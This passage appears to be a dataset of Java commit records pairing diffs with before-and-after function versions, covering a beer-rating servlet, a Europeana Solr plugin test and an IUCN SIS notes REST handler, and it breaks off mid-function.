new Gson(); JsonArray arr = new JsonArray(); for (Beer b : beers.keySet()) { JsonObject obj = gson.toJsonTree(b).getAsJsonObject(); obj.add("rating", new JsonPrimitive(beers.get(b))); obj.add("drunkcount", new JsonPrimitive(counts.get(b))); arr.add(obj); } write(resp, arr); } else if (action.equals("getStyle")) { String style = req.getParameter("style"); if (style.equals("null")) style = ""; Database db = DatabaseFactory.getInstance().getDatabase(); db.reset(); User u = manager.getUser(); List<Drink> drinks = u.getDrinks(); Map<Beer, Integer> counts = new TreeMap<Beer, Integer>(); Map<Beer, Double> rating = new TreeMap<Beer, Double>(); for (Drink d : drinks) if (style.length() == 0 || d.getBeer().getBeerStyle().equals(style)) { if (!counts.containsKey(d.getBeer())) counts.put(d.getBeer(), 1); else counts.put(d.getBeer(), counts.get(d.getBeer()) + 1); rating.put(d.getBeer(), d.getRating_score()); } Gson gson = new Gson(); JsonArray arr = new JsonArray(); for (Beer b : counts.keySet()) { JsonObject obj = gson.toJsonTree(b).getAsJsonObject(); obj.add("drunkcount", new JsonPrimitive(counts.get(b))); obj.add("rating", new JsonPrimitive(rating.get(b))); arr.add(obj); } write(resp, arr); } else if (action.equals("getBeer")) { String beerId = req.getParameter("beer"); DateFormat df = DateFormat.getInstance(); Database db = DatabaseFactory.getInstance().getDatabase(); db.reset(); User u = manager.getUser(); List<Drink> drinks = u.getDrinks(); List<Drink> show = new LinkedList<Drink>(); for (Drink d : drinks) if (d.getBeer().getId().equals(beerId)) show.add(d); Gson gson = new Gson(); JsonArray arr = new JsonArray(); for (Drink d : show) { JsonObject obj = gson.toJsonTree(d.getBeer()).getAsJsonObject(); obj.add("date", new JsonPrimitive(df.format(d.getCreated_at().getTime()))); if (d.getPhoto_url() != null) obj.add("photo", new JsonPrimitive(d.getPhoto_url())); obj.add("rating", new JsonPrimitive(d.getRating_score())); arr.add(obj); } write(resp, arr); } else if (action.equals("users")) { Database db = DatabaseFactory.getInstance().getDatabase(); db.reset(); List<Atom> users = manager.getUsers(); JsonArray arr = new JsonArray(); for (Atom user : users) arr.add(new JsonPrimitive(user.getId())); write(resp, arr); } } }
diff --git a/workflow_plugins/solr-plugin/src/test/java/eu/europeana/uim/plugin/solr/test/SolrPluginTest.java b/workflow_plugins/solr-plugin/src/test/java/eu/europeana/uim/plugin/solr/test/SolrPluginTest.java index ff7d741a..aa1eb22e 100644 --- a/workflow_plugins/solr-plugin/src/test/java/eu/europeana/uim/plugin/solr/test/SolrPluginTest.java +++ b/workflow_plugins/solr-plugin/src/test/java/eu/europeana/uim/plugin/solr/test/SolrPluginTest.java @@ -1,235 +1,234 @@ package eu.europeana.uim.plugin.solr.test; import static org.mockito.Mockito.mock; import static org.mockito.Mockito.when; import java.io.ByteArrayInputStream; import java.io.File; import java.io.IOException; import java.util.ArrayList; import java.util.HashMap; import java.util.List; import java.util.Map; import java.util.Properties; import javax.xml.parsers.DocumentBuilderFactory; import org.apache.commons.io.FileUtils; import org.junit.Assert; import org.junit.Before; import org.junit.Test; import org.w3c.dom.Document; import org.w3c.dom.Element; import com.google.code.morphia.Datastore; import com.google.code.morphia.DatastoreImpl; import com.google.code.morphia.Morphia; import com.hp.hpl.jena.rdf.model.RDFReaderF; import com.hp.hpl.jena.rdf.model.impl.RDFReaderFImpl; import com.mongodb.Mongo; import de.flapdoodle.embed.mongo.MongodExecutable; import de.flapdoodle.embed.mongo.MongodStarter; import de.flapdoodle.embed.mongo.config.MongodConfig; import de.flapdoodle.embed.mongo.distribution.Version; import eu.europeana.corelib.definitions.model.EdmLabel; import eu.europeana.corelib.dereference.impl.ControlledVocabularyImpl; import eu.europeana.corelib.dereference.impl.EdmMappedField; import eu.europeana.corelib.dereference.impl.VocabularyMongoServerImpl; import eu.europeana.uim.logging.LoggingEngine; import eu.europeana.uim.logging.LoggingEngineAdapter; import eu.europeana.uim.model.europeana.EuropeanaModelRegistry; import eu.europeana.uim.model.europeanaspecific.fieldvalues.ControlledVocabularyProxy; import eu.europeana.uim.orchestration.ActiveExecution; import eu.europeana.uim.plugin.solr.service.SolrWorkflowPlugin; import eu.europeana.uim.plugin.solr.service.SolrWorkflowService; import eu.europeana.uim.plugin.solr.service.SolrWorkflowServiceImpl; import eu.europeana.uim.plugin.solr.utils.OsgiExtractor; import eu.europeana.uim.store.Collection; import eu.europeana.uim.store.MetaDataRecord; import eu.europeana.uim.store.bean.CollectionBean; import eu.europeana.uim.store.bean.ExecutionBean; import eu.europeana.uim.store.bean.MetaDataRecordBean; import eu.europeana.uim.store.bean.ProviderBean; import eu.europeana.uim.sugar.SugarCrmRecord; import eu.europeana.uim.sugar.SugarCrmService; import eu.europeana.uim.sugarcrmclient.plugin.SugarCRMServiceImpl; import eu.europeana.uim.sugarcrmclient.plugin.objects.SugarCrmRecordImpl; public class SolrPluginTest { private final String record = "<?xml version=\"1.0\" encoding=\"UTF-8\"?><record><first><item><name>previews_only_on_europeana_por_c</name><type>0</type></item></first></record>"; private SolrWorkflowPlugin plugin; private OsgiExtractor extractor; private MongodExecutable mongoExec; Datastore datastore; private void prepareConceptMappings() { ControlledVocabularyImpl voc = new ControlledVocabularyImpl(); voc.setName("MIMO-Concepts"); voc.setRules(new String[]{"InstrumentsKeywords","HornbostelAndSachs"}); voc.setIterations(0); voc.setURI("http://www.mimo-db.eu/"); voc.setSuffix(".rdf"); extractor.setVocabulary(voc); extractor.readSchema("src/test/resources/MIMO-Concepts"); extractor.setMappedField("skos:prefLabel", EdmLabel.CC_SKOS_PREF_LABEL, null); extractor.setMappedField("skos:Concept", EdmLabel.SKOS_CONCEPT, null); extractor.setMappedField("skos:related", EdmLabel.CC_SKOS_RELATED, null); extractor.setMappedField("skos:narrower", EdmLabel.CC_SKOS_NARROWER, null); extractor.setMappedField("skos:Concept_rdf:about", EdmLabel.SKOS_CONCEPT, null); extractor.setMappedField("skos:prefLabel", EdmLabel.CC_SKOS_PREF_LABEL, null); extractor.setMappedField("skos:prefLabel_xml:lang", EdmLabel.CC_SKOS_PREF_LABEL, "xml:lang"); extractor.setMappedField("skos:broader", EdmLabel.CC_SKOS_BROADER, null); extractor.setMappedField("skos:inScheme", EdmLabel.CC_SKOS_INSCHEME, null); extractor.saveMapping(0); } @Test @SuppressWarnings({ "rawtypes", "unchecked" }) public void testConcept() { String RECORD = null; try { RECORD = FileUtils.readFileToString(new File("src/test/resources/edm_concept.xml")); MongodConfig conf = new MongodConfig(Version.V2_0_7, 10000, false); MongodStarter runtime = MongodStarter.getDefaultInstance(); SolrWorkflowService solrService = mock(SolrWorkflowServiceImpl.class); mongoExec = runtime.prepare(conf); try { mongoExec.start(); Morphia morphia = new Morphia(); morphia.map(ControlledVocabularyImpl.class); Mongo mongo = new Mongo("localhost", 10000); datastore = new DatastoreImpl(morphia,mongo,"voc_test"); extractor = new OsgiExtractor(solrService); extractor.setDatastore(datastore); extractor.setMongoServer(new VocabularyMongoServerImpl(mongo, "voc_test")); prepareConceptMappings(); preparePlaceMappings(); prepareAgentMappings(); prepareTimeMappings(); } catch (IOException e) { // TODO Auto-generated catch block e.printStackTrace(); } ActiveExecution context = mock(ActiveExecution.class); Collection collection = new CollectionBean("09431", new ProviderBean<String>("test_provider")); collection.putValue(ControlledVocabularyProxy.SUGARCRMID, "09431"); collection.setMnemonic("12345"); MetaDataRecord mdr = new MetaDataRecordBean<String>("09431", collection); mdr.addValue(EuropeanaModelRegistry.EDMRECORD, RECORD); SugarCrmService service = mock(SugarCRMServiceImpl.class); RDFReaderF reader = new RDFReaderFImpl(); when(solrService.getRDFReaderF()).thenReturn(reader); when(solrService.getDatastore()).thenReturn(datastore); when(solrService.getExtractor()).thenReturn(extractor); plugin = new SolrWorkflowPlugin(solrService); ExecutionBean execution = new ExecutionBean(); execution.setDataSet(collection); Properties properties = new Properties(); LoggingEngine logging = LoggingEngineAdapter.LONG; SugarCrmRecord sugarRecord = SugarCrmRecordImpl.getInstance(getElement(record)); try { when(service.retrieveRecord("09431")).thenReturn(sugarRecord); } catch (Exception e) { e.printStackTrace(); } when(context.getExecution()).thenReturn(execution); when(context.getProperties()).thenReturn(properties); when(context.getLoggingEngine()).thenReturn(logging); plugin.initialize(context); plugin.process(mdr, context); //Assert.assertTrue(); System.out.println(mdr.getValues(EuropeanaModelRegistry.EDMDEREFERENCEDRECORD).get(0)); plugin.completed(context); - Assert.assertEquals(1, SolrWorkflowPlugin.getRecords()); plugin.shutdown(); } catch (Exception e1) { // TODO Auto-generated catch block e1.printStackTrace(); } } private void prepareTimeMappings() { } private void prepareAgentMappings() { ControlledVocabularyImpl voc = new ControlledVocabularyImpl(); voc.setName("MIMO-Agents"); voc.setRules(new String[]{"InstrumentMaker"}); voc.setIterations(0); voc.setURI("http://www.mimo-db.eu/"); voc.setSuffix(".rdf"); extractor.setVocabulary(voc); extractor.readSchema("src/test/resources/MIMO-Agents"); extractor.setMappedField("skos:Concept", EdmLabel.EDM_AGENT, null); extractor.setMappedField("rdaGr2:preferredNameForThePerson", EdmLabel.AG_SKOS_PREF_LABEL, null); extractor.setMappedField("rdaGr2:dateOfBirth", EdmLabel.AG_RDAGR2_DATEOFBIRTH, null); extractor.setMappedField("rdaGr2:dateOfDeath", EdmLabel.AG_RDAGR2_DATEOFDEATH, null); extractor.setMappedField("foaf:name", EdmLabel.AG_FOAF_NAME, null); extractor.setMappedField("skos:Concept_rdf:about", EdmLabel.EDM_AGENT, null); extractor.saveMapping(0); } private void preparePlaceMappings() { ControlledVocabularyImpl voc = new ControlledVocabularyImpl(); voc.setName("Geonames"); voc.setRules(new String[]{"*"}); voc.setIterations(0); voc.setURI("http://www.geonames.org/"); voc.setReplaceUrl("http://sws.geonames.org/"); voc.setSuffix("/about.rdf"); extractor.setVocabulary(voc); extractor.readSchema("src/test/resources/Geonames"); extractor.setMappedField("gn:Feature", EdmLabel.EDM_PLACE, null); extractor.setMappedField("gn:Feature_rdf:about", EdmLabel.EDM_PLACE, null); extractor.setMappedField("gn:parentADM1", EdmLabel.PL_DCTERMS_ISPART_OF, null); extractor.setMappedField("gn:alternateName", EdmLabel.PL_SKOS_ALT_LABEL,null); extractor.setMappedField("gn:name", EdmLabel.PL_SKOS_PREF_LABEL, null); extractor.setMappedField("gn:alternateName_xml:lang", EdmLabel.PL_SKOS_ALT_LABEL,"xml:lang"); extractor.setMappedField("wgs84_pos:long", EdmLabel.PL_WGS84_POS_LONG,null); extractor.setMappedField("wgs84_pos:lat", EdmLabel.PL_WGS84_POS_LAT,null); extractor.saveMapping(0); } private Element getElement(String record2) { DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance(); try { Document doc = dbf.newDocumentBuilder().parse(new ByteArrayInputStream(record2.getBytes())); return (Element)doc.getDocumentElement().getElementsByTagName("first").item(0); } catch(Exception e){ e.printStackTrace(); return null; } } }
true
true
public void testConcept() { String RECORD = null; try { RECORD = FileUtils.readFileToString(new File("src/test/resources/edm_concept.xml")); MongodConfig conf = new MongodConfig(Version.V2_0_7, 10000, false); MongodStarter runtime = MongodStarter.getDefaultInstance(); SolrWorkflowService solrService = mock(SolrWorkflowServiceImpl.class); mongoExec = runtime.prepare(conf); try { mongoExec.start(); Morphia morphia = new Morphia(); morphia.map(ControlledVocabularyImpl.class); Mongo mongo = new Mongo("localhost", 10000); datastore = new DatastoreImpl(morphia,mongo,"voc_test"); extractor = new OsgiExtractor(solrService); extractor.setDatastore(datastore); extractor.setMongoServer(new VocabularyMongoServerImpl(mongo, "voc_test")); prepareConceptMappings(); preparePlaceMappings(); prepareAgentMappings(); prepareTimeMappings(); } catch (IOException e) { // TODO Auto-generated catch block e.printStackTrace(); } ActiveExecution context = mock(ActiveExecution.class); Collection collection = new CollectionBean("09431", new ProviderBean<String>("test_provider")); collection.putValue(ControlledVocabularyProxy.SUGARCRMID, "09431"); collection.setMnemonic("12345"); MetaDataRecord mdr = new MetaDataRecordBean<String>("09431", collection); mdr.addValue(EuropeanaModelRegistry.EDMRECORD, RECORD); SugarCrmService service = mock(SugarCRMServiceImpl.class); RDFReaderF reader = new RDFReaderFImpl(); when(solrService.getRDFReaderF()).thenReturn(reader); when(solrService.getDatastore()).thenReturn(datastore); when(solrService.getExtractor()).thenReturn(extractor); plugin = new SolrWorkflowPlugin(solrService); ExecutionBean execution = new ExecutionBean(); execution.setDataSet(collection); Properties properties = new Properties(); LoggingEngine logging = LoggingEngineAdapter.LONG; SugarCrmRecord sugarRecord = SugarCrmRecordImpl.getInstance(getElement(record)); try { when(service.retrieveRecord("09431")).thenReturn(sugarRecord); } catch (Exception e) { e.printStackTrace(); } when(context.getExecution()).thenReturn(execution); when(context.getProperties()).thenReturn(properties); when(context.getLoggingEngine()).thenReturn(logging); plugin.initialize(context); plugin.process(mdr, context); //Assert.assertTrue(); System.out.println(mdr.getValues(EuropeanaModelRegistry.EDMDEREFERENCEDRECORD).get(0)); plugin.completed(context); Assert.assertEquals(1, SolrWorkflowPlugin.getRecords()); plugin.shutdown(); } catch (Exception e1) { // TODO Auto-generated catch block e1.printStackTrace(); } }
public void testConcept() { String RECORD = null; try { RECORD = FileUtils.readFileToString(new File("src/test/resources/edm_concept.xml")); MongodConfig conf = new MongodConfig(Version.V2_0_7, 10000, false); MongodStarter runtime = MongodStarter.getDefaultInstance(); SolrWorkflowService solrService = mock(SolrWorkflowServiceImpl.class); mongoExec = runtime.prepare(conf); try { mongoExec.start(); Morphia morphia = new Morphia(); morphia.map(ControlledVocabularyImpl.class); Mongo mongo = new Mongo("localhost", 10000); datastore = new DatastoreImpl(morphia,mongo,"voc_test"); extractor = new OsgiExtractor(solrService); extractor.setDatastore(datastore); extractor.setMongoServer(new VocabularyMongoServerImpl(mongo, "voc_test")); prepareConceptMappings(); preparePlaceMappings(); prepareAgentMappings(); prepareTimeMappings(); } catch (IOException e) { // TODO Auto-generated catch block e.printStackTrace(); } ActiveExecution context = mock(ActiveExecution.class); Collection collection = new CollectionBean("09431", new ProviderBean<String>("test_provider")); collection.putValue(ControlledVocabularyProxy.SUGARCRMID, "09431"); collection.setMnemonic("12345"); MetaDataRecord mdr = new MetaDataRecordBean<String>("09431", collection); mdr.addValue(EuropeanaModelRegistry.EDMRECORD, RECORD); SugarCrmService service = mock(SugarCRMServiceImpl.class); RDFReaderF reader = new RDFReaderFImpl(); when(solrService.getRDFReaderF()).thenReturn(reader); when(solrService.getDatastore()).thenReturn(datastore); when(solrService.getExtractor()).thenReturn(extractor); plugin = new SolrWorkflowPlugin(solrService); ExecutionBean execution = new ExecutionBean(); execution.setDataSet(collection); Properties properties = new Properties(); LoggingEngine logging = LoggingEngineAdapter.LONG; SugarCrmRecord sugarRecord = SugarCrmRecordImpl.getInstance(getElement(record)); try { when(service.retrieveRecord("09431")).thenReturn(sugarRecord); } catch (Exception e) { e.printStackTrace(); } when(context.getExecution()).thenReturn(execution); when(context.getProperties()).thenReturn(properties); when(context.getLoggingEngine()).thenReturn(logging); plugin.initialize(context); plugin.process(mdr, context); //Assert.assertTrue(); System.out.println(mdr.getValues(EuropeanaModelRegistry.EDMDEREFERENCEDRECORD).get(0)); plugin.completed(context); plugin.shutdown(); } catch (Exception e1) { // TODO Auto-generated catch block e1.printStackTrace(); } }
diff --git a/org.iucn.sis.server.extensions.notes/src/org/iucn/sis/server/extensions/notes/NotesRestlet.java b/org.iucn.sis.server.extensions.notes/src/org/iucn/sis/server/extensions/notes/NotesRestlet.java index 726d070f..4d502f5b 100644 --- a/org.iucn.sis.server.extensions.notes/src/org/iucn/sis/server/extensions/notes/NotesRestlet.java +++ b/org.iucn.sis.server.extensions.notes/src/org/iucn/sis/server/extensions/notes/NotesRestlet.java @@ -1,309 +1,305 @@ package org.iucn.sis.server.extensions.notes; import java.util.Date; import org.hibernate.Session; import org.iucn.sis.server.api.application.SIS; import org.iucn.sis.server.api.io.AssessmentIO; import org.iucn.sis.server.api.io.FieldIO; import org.iucn.sis.server.api.io.NoteIO; import org.iucn.sis.server.api.io.TaxonIO; import org.iucn.sis.server.api.persistance.hibernate.PersistentException; import org.iucn.sis.server.api.restlets.BaseServiceRestlet; import org.iucn.sis.shared.api.models.Assessment; import org.iucn.sis.shared.api.models.CommonName; import org.iucn.sis.shared.api.models.Edit; import org.iucn.sis.shared.api.models.Field; import org.iucn.sis.shared.api.models.Notes; import org.iucn.sis.shared.api.models.Taxon; import org.restlet.Context; import org.restlet.data.MediaType; import org.restlet.data.Request; import org.restlet.data.Response; import org.restlet.data.Status; import org.restlet.representation.Representation; import org.restlet.representation.StringRepresentation; import org.restlet.resource.ResourceException; import com.solertium.lwxml.java.JavaNativeDocument; import com.solertium.lwxml.shared.NativeDocument; public class NotesRestlet extends BaseServiceRestlet { public NotesRestlet(Context context) { super(context); } @Override public void definePaths() { paths.add("/notes/{type}/{id}"); } @Override public void handleDelete(Request request, Response response, Session session) throws ResourceException { final String type = getType(request); final Integer id = getID(request); final NoteIO noteIO = new NoteIO(session); final FieldIO fieldIO = new FieldIO(session); final TaxonIO taxonIO = new TaxonIO(session); if (type.equalsIgnoreCase("note")) { Notes note = noteIO.get(id); if (note != null) { if (noteIO.delete(note)) response.setStatus(Status.SUCCESS_OK); else throw new ResourceException(Status.SERVER_ERROR_INTERNAL); } else throw new ResourceException(Status.CLIENT_ERROR_NOT_FOUND, "No " + type + " found for " + id); } else if (type.equalsIgnoreCase("field")) { Field field = fieldIO.get(id); if (field != null) { for (Notes note : field.getNotes()) { if (!noteIO.delete(note)){ response.setStatus(Status.SERVER_ERROR_INTERNAL); return; } } response.setStatus(Status.SUCCESS_OK); } else throw new ResourceException(Status.CLIENT_ERROR_NOT_FOUND, "No " + type + " found for " + id); } else if (type.equalsIgnoreCase("taxon")) { Taxon taxon = taxonIO.getTaxon(id); if (taxon != null) { for (Notes note : taxon.getNotes()) { if (!noteIO.delete(note)){ response.setStatus(Status.SERVER_ERROR_INTERNAL); return; } } response.setStatus(Status.SUCCESS_OK); } else throw new ResourceException(Status.CLIENT_ERROR_NOT_FOUND, "No " + type + " found for " + id); } else throw new ResourceException(Status.CLIENT_ERROR_BAD_REQUEST, "Invalid type specified: " + type); } @Override public Representation handleGet(Request request, Response response, Session session) throws ResourceException { final String type = getType(request); final Integer id = getID(request); final NoteIO noteIO = new NoteIO(session); final FieldIO fieldIO = new FieldIO(session); final TaxonIO taxonIO = new TaxonIO(session); final AssessmentIO assessmentIO = new AssessmentIO(session); if (type.equalsIgnoreCase("note")) { Notes note = noteIO.get(id); if (note != null) { return new StringRepresentation(note.toXML(), MediaType.TEXT_XML); } else throw new ResourceException(Status.CLIENT_ERROR_NOT_FOUND, "No " + type + " found for " + id); } else if (type.equalsIgnoreCase("field")) { Field field = fieldIO.get(id); if (field != null) { StringBuilder xml = new StringBuilder("<xml>"); for (Notes note : field.getNotes()) xml.append(note.toXML()); xml.append("</xml>"); return new StringRepresentation(xml.toString(), MediaType.TEXT_XML); } else throw new ResourceException(Status.CLIENT_ERROR_NOT_FOUND, "No " + type + " found for " + id); } else if (type.equalsIgnoreCase("taxon")) { Taxon taxon = taxonIO.getTaxon(id); if (taxon != null) { StringBuilder xml = new StringBuilder("<xml>"); for (Notes note : taxon.getNotes()) xml.append(note.toXML()); xml.append("</xml>"); return new StringRepresentation(xml.toString(), MediaType.TEXT_XML); } else throw new ResourceException(Status.CLIENT_ERROR_NOT_FOUND, "No " + type + " found for " + id); } else if (type.equalsIgnoreCase("assessment")) { Assessment assessment = assessmentIO.getAssessment(id); if (assessment != null) { StringBuilder xml = new StringBuilder(); xml.append("<xml>"); /** * FIXME: a hibernate SQL query that searched * the notes table would be nice here... */ if (assessment.getField() != null) for (Field field : assessment.getField()) { appendNotes(fieldIO, field, xml); } xml.append("</xml>"); return new StringRepresentation(xml.toString(), MediaType.TEXT_XML); } else throw new ResourceException(Status.CLIENT_ERROR_NOT_FOUND, "No " + type + " found for " + id); } else throw new ResourceException(Status.CLIENT_ERROR_BAD_REQUEST, "Invalid type specified: " + type); } private void appendNotes(FieldIO fieldIO, Field field, StringBuilder xml) { Field full = fieldIO.get(field.getId()); if (full.getNotes() != null && !full.getNotes().isEmpty()) { xml.append("<field name=\"" + full.getName() + ":" + full.getId() + "\">"); for (Notes note : full.getNotes()) xml.append(note.toXML()); xml.append("</field>"); } for (Field subfield : field.getFields()) appendNotes(fieldIO, subfield, xml); } @Override public void handlePut(Representation entity, Request request, Response response, Session session) throws ResourceException { /** * FIXME: why are there multiple targets to do the same thing? * Shouldn't POST operations throw not found exceptions when * trying to edit something that doesn't exist? */ handlePost(entity, request, response, session); } @Override public void handlePost(Representation entity, Request request, Response response, Session session) throws ResourceException { final String type = getType(request); final Integer id = getID(request); if (request.getResourceRef().getQueryAsForm().getFirstValue("option") != null && request.getResourceRef().getQueryAsForm().getFirstValue("option").equals("remove")) handleDelete(request, response, session); else { NativeDocument document = new JavaNativeDocument(); document.parse(request.getEntityAsText()); Notes note = Notes.fromXML(document.getDocumentElement()); if (note.getValue() == null) throw new ResourceException(Status.CLIENT_ERROR_BAD_REQUEST, "No note provided."); Edit edit = new Edit(); edit.setUser(getUser(request, session)); edit.setCreatedDate(new Date()); edit.getNotes().add(note); note.getEdits().clear(); note.getEdits().add(edit); final NoteIO noteIO = new NoteIO(session); final FieldIO fieldIO = new FieldIO(session); final TaxonIO taxonIO = new TaxonIO(session); final AssessmentIO assessmentIO = new AssessmentIO(session); if (type.equalsIgnoreCase("field")) { Field field = fieldIO.get(id); if (field != null) { field.getNotes().add(note); note.getFields().add(field); - Assessment assessment = assessmentIO.getAssessment(field.getAssessment().getId()); - assessment.getField().remove(assessment.getField(field.getName())); - assessment.getField().add(field); - field.setAssessment(assessment); if (noteIO.save(note)) { try { SIS.get().getManager().saveObject(session, field); } catch (PersistentException e) { throw new ResourceException(Status.SERVER_ERROR_INTERNAL, "Could not save field", e); } response.setStatus(Status.SUCCESS_OK); response.setEntity(note.toXML(), MediaType.TEXT_XML); } else { throw new ResourceException(Status.SERVER_ERROR_INTERNAL); } } else { throw new ResourceException(Status.CLIENT_ERROR_NOT_FOUND, "No " + type + " found for " + id); } } else if (type.equalsIgnoreCase("taxon")) { Taxon taxon = taxonIO.getTaxon(id); if (taxon != null) { taxon.getEdits().add(edit); edit.getTaxon().add(taxon); taxon.getNotes().add(note); note.getTaxa().add(taxon); if (noteIO.save(note)) { response.setStatus(Status.SUCCESS_OK); response.setEntity(note.toXML(), MediaType.TEXT_XML); } else { throw new ResourceException(Status.SERVER_ERROR_INTERNAL); } } else { throw new ResourceException(Status.CLIENT_ERROR_NOT_FOUND, "No " + type + " found for " + id); } } else if (type.equals("synonym")) { org.iucn.sis.shared.api.models.Synonym synonym; try { synonym = SIS.get().getManager().getObject(session, org.iucn.sis.shared.api.models.Synonym.class, id); } catch (PersistentException e) { throw new ResourceException(Status.SERVER_ERROR_INTERNAL, e); } if (synonym == null) throw new ResourceException(Status.CLIENT_ERROR_NOT_FOUND, "No " + type + " found for " + id); try { note.setSynonym(synonym); synonym.getNotes().add(note); SIS.get().getManager().saveObject(session, note); } catch (PersistentException e) { throw new ResourceException(Status.SERVER_ERROR_INTERNAL, e); } synonym.getTaxon().toXML(); response.setStatus(Status.SUCCESS_OK); response.setEntity(note.toXML(), MediaType.TEXT_XML); } else if (type.equalsIgnoreCase("commonName")) { CommonName commonName; try { commonName = SIS.get().getManager().getObject(session, CommonName.class, id); } catch (PersistentException e) { throw new ResourceException(Status.SERVER_ERROR_INTERNAL, e); } if (commonName == null) throw new ResourceException(Status.CLIENT_ERROR_NOT_FOUND, "No " + type + " found for " + id); try { note.setCommonName(commonName); commonName.getNotes().add(note); SIS.get().getManager().saveObject(session, note); } catch (PersistentException e) { throw new ResourceException(Status.SERVER_ERROR_INTERNAL, e); } commonName.getTaxon().toXML(); response.setStatus(Status.SUCCESS_OK); response.setEntity(note.getId() + "", MediaType.TEXT_PLAIN); } else throw new ResourceException(Status.CLIENT_ERROR_BAD_REQUEST, "Invalid type specified: " + type); } } private Integer getID(Request request) throws ResourceException { try { return Integer.valueOf((String) request.getAttributes().get("id")); } catch (NullPointerException e) { throw new ResourceException(Status.CLIENT_ERROR_BAD_REQUEST, "Please specify an ID", e); } catch (NumberFormatException e) { throw new ResourceException(Status.CLIENT_ERROR_BAD_REQUEST, "Please specify a valid numeric ID", e); } } private String getType(Request request) throws ResourceException { String value = (String)request.getAttributes().get("type"); if (value == null) throw new ResourceException(Status.CLIENT_ERROR_BAD_REQUEST, "Please specify a type."); return value; } }
true
true
public void handlePost(Representation entity, Request request, Response response, Session session) throws ResourceException { final String type = getType(request); final Integer id = getID(request); if (request.getResourceRef().getQueryAsForm().getFirstValue("option") != null && request.getResourceRef().getQueryAsForm().getFirstValue("option").equals("remove")) handleDelete(request, response, session); else { NativeDocument document = new JavaNativeDocument(); document.parse(request.getEntityAsText()); Notes note = Notes.fromXML(document.getDocumentElement()); if (note.getValue() == null) throw new ResourceException(Status.CLIENT_ERROR_BAD_REQUEST, "No note provided."); Edit edit = new Edit(); edit.setUser(getUser(request, session)); edit.setCreatedDate(new Date()); edit.getNotes().add(note); note.getEdits().clear(); note.getEdits().add(edit); final NoteIO noteIO = new NoteIO(session); final FieldIO fieldIO = new FieldIO(session); final TaxonIO taxonIO = new TaxonIO(session); final AssessmentIO assessmentIO = new AssessmentIO(session); if (type.equalsIgnoreCase("field")) { Field field = fieldIO.get(id); if (field != null) { field.getNotes().add(note); note.getFields().add(field); Assessment assessment = assessmentIO.getAssessment(field.getAssessment().getId()); assessment.getField().remove(assessment.getField(field.getName())); assessment.getField().add(field); field.setAssessment(assessment); if (noteIO.save(note)) { try { SIS.get().getManager().saveObject(session, field); } catch (PersistentException e) { throw new ResourceException(Status.SERVER_ERROR_INTERNAL, "Could not save field", e); } response.setStatus(Status.SUCCESS_OK); response.setEntity(note.toXML(), MediaType.TEXT_XML); } else { throw new ResourceException(Status.SERVER_ERROR_INTERNAL); } } else { throw new ResourceException(Status.CLIENT_ERROR_NOT_FOUND, "No " + type + " found for " + id); } } else if (type.equalsIgnoreCase("taxon")) { Taxon taxon = taxonIO.getTaxon(id); if (taxon != null) { taxon.getEdits().add(edit); edit.getTaxon().add(taxon); taxon.getNotes().add(note); note.getTaxa().add(taxon); if (noteIO.save(note)) { response.setStatus(Status.SUCCESS_OK); response.setEntity(note.toXML(), MediaType.TEXT_XML); } else { throw new ResourceException(Status.SERVER_ERROR_INTERNAL); } } else { throw new ResourceException(Status.CLIENT_ERROR_NOT_FOUND, "No " + type + " found for " + id); } } else if (type.equals("synonym")) { org.iucn.sis.shared.api.models.Synonym synonym; try { synonym = SIS.get().getManager().getObject(session, org.iucn.sis.shared.api.models.Synonym.class, id); } catch (PersistentException e) { throw new ResourceException(Status.SERVER_ERROR_INTERNAL, e); } if (synonym == null) throw new ResourceException(Status.CLIENT_ERROR_NOT_FOUND, "No " + type + " found for " + id); try { note.setSynonym(synonym); synonym.getNotes().add(note); SIS.get().getManager().saveObject(session, note); } catch (PersistentException e) { throw new ResourceException(Status.SERVER_ERROR_INTERNAL, e); } synonym.getTaxon().toXML(); response.setStatus(Status.SUCCESS_OK); response.setEntity(note.toXML(), MediaType.TEXT_XML); } else if (type.equalsIgnoreCase("commonName")) { CommonName commonName; try { commonName = SIS.get().getManager().getObject(session, CommonName.class, id); } catch (PersistentException e) { throw new ResourceException(Status.SERVER_ERROR_INTERNAL, e); } if (commonName == null) throw new ResourceException(Status.CLIENT_ERROR_NOT_FOUND, "No " + type + " found for " + id); try { note.setCommonName(commonName); commonName.getNotes().add(note); SIS.get().getManager().saveObject(session, note); } catch (PersistentException e) { throw new ResourceException(Status.SERVER_ERROR_INTERNAL, e); } commonName.getTaxon().toXML(); response.setStatus(Status.SUCCESS_OK); response.setEntity(note.getId() + "", MediaType.TEXT_PLAIN); } else throw new ResourceException(Status.CLIENT_ERROR_BAD_REQUEST, "Invalid type specified: " + type); } }
public void handlePost(Representation entity, Request request, Response response, Session session) throws ResourceException { final String type = getType(request); final Integer id = getID(request); if (request.getResourceRef().getQueryAsForm().getFirstValue("option") != null && request.getResourceRef().getQueryAsForm().getFirstValue("option").equals("remove")) handleDelete(request, response, session); else { NativeDocument document = new JavaNativeDocument(); document.parse(request.getEntityAsText()); Notes note = Notes.fromXML(document.getDocumentElement()); if (note.getValue() == null) throw new ResourceException(Status.CLIENT_ERROR_BAD_REQUEST, "No note provided."); Edit edit = new Edit(); edit.setUser(getUser(request, session)); edit.setCreatedDate(new Date()); edit.getNotes().add(note); note.getEdits().clear(); note.getEdits().add(edit); final NoteIO noteIO = new NoteIO(session); final FieldIO fieldIO = new FieldIO(session); final TaxonIO taxonIO = new TaxonIO(session); final AssessmentIO assessmentIO = new AssessmentIO(session); if (type.equalsIgnoreCase("field")) { Field field = fieldIO.get(id); if (field != null) { field.getNotes().add(note); note.getFields().add(field); if (noteIO.save(note)) { try { SIS.get().getManager().saveObject(session, field); } catch (PersistentException e) { throw new ResourceException(Status.SERVER_ERROR_INTERNAL, "Could not save field", e); } response.setStatus(Status.SUCCESS_OK); response.setEntity(note.toXML(), MediaType.TEXT_XML); } else { throw new ResourceException(Status.SERVER_ERROR_INTERNAL); } } else { throw new ResourceException(Status.CLIENT_ERROR_NOT_FOUND, "No " + type + " found for " + id); } } else if (type.equalsIgnoreCase("taxon")) { Taxon taxon = taxonIO.getTaxon(id); if (taxon != null) { taxon.getEdits().add(edit); edit.getTaxon().add(taxon); taxon.getNotes().add(note); note.getTaxa().add(taxon); if (noteIO.save(note)) { response.setStatus(Status.SUCCESS_OK); response.setEntity(note.toXML(), MediaType.TEXT_XML); } else { throw new ResourceException(Status.SERVER_ERROR_INTERNAL); } } else { throw new ResourceException(Status.CLIENT_ERROR_NOT_FOUND, "No " 